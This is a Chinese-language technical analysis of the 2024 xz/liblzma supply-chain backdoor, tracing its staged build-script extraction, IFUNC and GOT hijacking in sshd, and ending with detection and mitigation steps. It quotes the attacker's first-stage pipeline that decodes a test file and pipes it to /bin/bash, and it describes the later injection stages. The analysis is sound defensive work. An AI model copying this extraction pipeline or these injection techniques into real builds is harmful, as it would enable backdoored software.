Linux | xz/liblzma库供应链攻击事件分析

2024年3月29日,微软PostgreSQL开发人员Andres Freund在调查SSH性能问题时,发现xz库供应链攻击事件并报告给 oss-security。

攻击者Jia Tan( JiaT75 ) 于 2021 年注册了 GitHub 账号,之后积极参与 XZ Utils 项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。JiaT75 在最近几个月的一次 commit 中,提交了恶意bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma的二进制测试文件,在编译链接的脚本中,特定条件下从这两个文件中提取恶意代码并植入,致使编译结果和公开的源代码不一致。

最终攻击者可以通过特定的数据包,绕过ssh登录认证,获取远程初始访问以及远程命令执行权限。

1.时间线

  • 2021/01,攻击者Jia Tan注册GitHub账号(JiaT75)

  • 2022/10,Jia Tan加入Tukaani项目组

  • 2023,Jia Tan获取信任,拥有xz项目提交代码的权限

  • 2024/03/08-03/20,提交恶意的bad-3-corrput_lzma2.xz和good-large_compressed.lzma测试文件

  • 2024/03/29,微软PostgreSQL开发人员Andres Freund发现sshd的CPU占用率异常,发现xz/liblzma模块存在后门,并向oss-security报告此事。

2.攻击链路

xz库供应链攻击攻击事件,攻击链路如下:

  • 第一阶段,恶意的build-to-host.m4编译宏还原恶意bad-3-corrupt_lzma2.xz数据,解压并执行下阶段载荷脚本

  • 第二阶段,恶意脚本还原good-large_compressed.lzma数据,解压并执行下阶段载荷脚本

  • 第三阶段,恶意脚本进行环境检查,提取预编译的64位liblzma_la-crc64-fast.o模块,修改crc64_fast.c源代码文件内容,注入恶意代码

  • 第四阶段,恶意liblzma_la-crc64-fast.o链接生成恶意liblzma.so.5,动态链接到sshd程序,完成最终攻击链路

攻击链路图如下:

2.1 第一阶段m4编译宏脚本

        恶意的build-to-host.m4编译宏文件中,包含grep命令通过正则#{4}[[:alnum:]]{5}#{4}$匹配包含特定字符串(####Hello####)的文件名,即下阶段载荷的bad-3-corrupt_lzma2.xz文件。

sed命令将.前字符替换为空,得到文件后缀名xz,为了后续xz字符串拼接xz -d解压命令。

通过tr "\t \-_" " \t_\-",修改bad-3-corrupt_lzma2文件。
  • 水平制表符替换为空格

  • 空格替换为水平制表符

  • 减号替换为下划线

  • 下划线替换为减号

最终下面命令转化后,实际执行内容为,替换字符串,解压后执行下阶段恶意内容:sed \"r\n\" ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d | /bin/bash >/dev/null 2>&1

2.2 第二阶段恶意脚本

第二阶段恶意脚本执行流程如下:

  • 通过config.status文件,获取项目根目录

  • 定义i变量,重复执行head命令来生成一个特定长度的输出

  • xz命令解压good-large_compressed.lzma文件后,先丢弃前1024个字节,然后输出接下来的2048个字节,然后再丢弃1024个字节,再输出2048个字节,如此循环多次,直到最后输出939个字节停止

  • tr命令替换特定范围的字符为0x00到0xFF

  • xz命令解压替换后的数据并执行下阶段载荷脚本

2.3 第三阶段恶意脚本

第三阶段恶意脚本执行流程如下:

  • 对系统环境进行检查,若条件不成立则退出该流程。

  • 通过对good-large_compressed.lzma数据进行解压后截取数据,生成恶意的liblzma_la-crc64-fast.o文件,

  • 修改crc64_fast.c源代码文件内容调用liblzma_la-crc64-fast.o恶意函数,实现恶意代码注入。

xz命令解压good-large_compressed.lzma文件并将解压缩的内容输出到标准输出。使用sed命令将每个字符后面加上换行符(sed "s/(.)/\1\n/g")。

awk命令进行一系列复杂的操作,包括置换、代换等解密操作,再次使用xz命令解压缩处理后的内容。

最后根据条件截取前88792个字节或者0个字节处理后的内容,并将结果输出到liblzma_la-crc64-fast.o文件中,无论前面的命令是否成功,都将返回true。

变量V保存恶意_is_arch_extension_supported()内联函数的定义,中增加了调用恶意的liblzma_la-crc64-fast.o文件中的导出_get_cpuid()函数的部分。

正规格式后的恶意代码:

攻击者利用GLIBC IFUNC(Indirect Function)特性,该特性允许开发者为同一个函数接口提供多个实现版本,并且能够在程序运行时判断最优系统环境及条件,动态选择最合适的版本来执行。

攻击者将crc64_fast.c,crc32_fast.c文件中调用is_arch_extension_supported()函数的代码,替换为调用恶意的_is_arch_extension_supported()内联函数,添加变量V中保存的恶意内联函数的定义代码。

根据sed和$CC等编译环境命令的执行结果来确定是否执行以上替换的操作。

2.4 第四阶段恶意目标文件

分析恶意liblzma_la-crc64-fast.o目标文件的导出_get_cpuid()函数,调用sub_A750()函数。

分析sub_A750()函数,liblzma库利用GCC IFUNC技术,在加载时加载器会调用resolver函数,crc32_resolve()和crc64_resolve()这两个函数均会调用_get_cpuid()。

crc32_resolve()调用时,dword_CB60由0变为1。

crc64_resolve()调用时,dword_CB60为1,后门程序会执行Llzma_block_param_encoder_0()函数。

分析Llzma_block_param_encoder_0()函数,发现可疑的Llzma_block_buffer_decode_0指针。

跟进Llzma_block_buffer_decode_0 + 2指针,发现记录的是_Llzma_delta_props_encoder()函数地址。

分析Llzma_delta_props_encoder()函数,先调用Llzma_delta_decoder_init_part_0()函数。

Llzma_delta_decoder_init_part_0()函数,包含恶意操作的核心函数列表,例如GOT Hook、系统调用函数执行命令等。(下面解释如何执行系统调用)

返回Llzma_delta_props_encoder()函数分析,之后调用Lmicrolzma_encoder_init_1()函数,最终调用sub_3A10()函数。

sub_3A10()函数检查当前进程是否为/usr/bin/sshd,通过环境检查后执行后续恶意操作。其中Lsimple_coder_update_0()函数功能为字符串检测自动机返回字符串 ID。如果指针中没有检测到已知字符串,则返回 0,否则返回字符串 ID。

检索的字符串ID包含write、system、shutdown等关键指令,部分关键字符串ID与指令对应,如下表:
字符串ID 字符串
0x9f8 'system\x00'
0x760 'shutdown\x00'
0x198 'unknown\x00'
0xb10 'user'
0x380 'write\x00'
0x108 '/usr/sbin/sshd\x00'
0x10 'xcalloc: zero size\x00'
0xb00 'yolAbejyiejuvnup=Evjtgvsh5okmkAvj\x00'
0x300 '\x7fELF'
0x678 ' ssh2'
0xd8 '%.48s:%.48s():%d (pid=%ld)\x00'
0x708 '%s'
0x870 'Accepted password for '
0x1a0 'Accepted publickey for '
0x8c0 'GLIBC_2.2.5\x00'
0x6a8 'GLRO(dl_naudit) <= naudit\x00'
0x1e0 'KRB5CCNAME\x00'
0xcf0 'LD_AUDIT='
0xbc0 'LD_BIND_NOT='
0xa90 'LD_DEBUG='
0xb98 'LD_PROFILE='
0x3e0 'LD_USE_LOAD_BIAS='
0xa88 'LINES='
0xac0 'RSA_free\x00'
0x798 'RSA_get0_key\x00'
0x918 'RSA_new\x00'
0x1d0 'RSA_public_decrypt\x00'
0x540 'RSA_set0_key\x00'
0x8f8 'RSA_sign\x00'
0x990 'SSH-2.0'
0x4a8 'TERM='
0x8a8 '_exit\x00'
0xb8 'auth_root_allowed\x00'
0x1d8 'authenticating'
0x28 'demote_sensitive_data\x00'
0x348 'getuid\x00'
0xa48 'ld-linux-x86-64.so'
0x7d0 'libc.so'
0x7c0 'libcrypto.so'
0x590 'liblzma.so'
0x938 'libsystemd.so'
0x20 'list_hostkey_types\x00'
0x440 'malloc_usable_size\x00'
0xc58 'parse PAM\x00'
0x400 'password\x00'
0x4f0 'preauth'
0x690 'pselect\x00'
0x7b8 'publickey\x00'
0x308 'read\x00'
0x710 'rsa-sha2-256\x00'
0x428 'setlogmask\x00'
0x5f0 'setresgid\x00'
0xab8 'setresuid\x00'
0xd08 'ssh-2.0'
0x88 'sshpam_auth_passwd\x00'
0x90 'sshpam_query\x00'
0x80 'sshpam_respond\x00'
0x98 'start_pam\x00'

liblzma 有一个内存分配层,其中利用lzma_alloc()和lzma_free()函数来调用分配器对象中的函数指针。

lzma_alloc()用来查找符号而不是分配,字符串 ID作为大小来查找函数指针,并且lzma_free()在释放时不执行任何操作。对于这个假分配器,其中某个成员指向内部 ELF 模块描述符记录。

通过对lzma_alloc()函数交叉引用搜索,发现几处获取关键函数指针赋值给全局ctx结构体:

Lmicrolzma_encoder_init_1()函数 ——> Llzma_delta_props_encode_part_0()函数中获取exit/setresgid/setresuid/system函数地址,保存在ctx对象中。

3.总结

此次供应链攻击事件,利用了GCC IFUNC机制,在程序正常的执行流程中,crc32_resolve()和crc64_resolve()函数,先后调用_get_cpuid()函数。恶意代码仅在_get_cpuid()函数第二次被调用时,才开始初始化,为了只影响特定的64位Linux系统。

当系统满足初始化条件,恶意代码通过直接修改内存中的数据结构,劫持程序的正常执行流程:

  • 利用lzma_alloc()函数获取系统调用或关键函数地址指针,赋值给全局上下文结构体(ctx)

  • 替换原始关键函数地址的指针,cpuid()函数的修改全局偏移表(GOT)条目为指向恶意函数地址的指针。

最终完成远程访问控制和远程代码执行的攻击。

4.检测方法

此次攻击事件只影响X86 64位Linux系统,检测xz版本是否为受影响的版本(5.6.0 或 5.6.1)。
xz --version | grep '5\.6\.[01]'
检测liblzma是否包含恶意的_get_cpuid()函数。
#! /bin/bash
set -eu
# find path to liblzma used by sshdpath="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
# does it even exist?if [ "$path" == "" ]then echo probably not vulnerable exitfi
# check for function signatureif hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then echo probably vulnerableelse echo probably not vulnerablefi

5.缓解措施

重新安装低版本xz程序。
sudo apt install xz-utils=5.2.5

reference

  • https://openwall.com/lists/oss-security/2024/03/29/4

  • https://github.com/karcherm/xz-malware

请使用浏览器的分享功能分享到微信等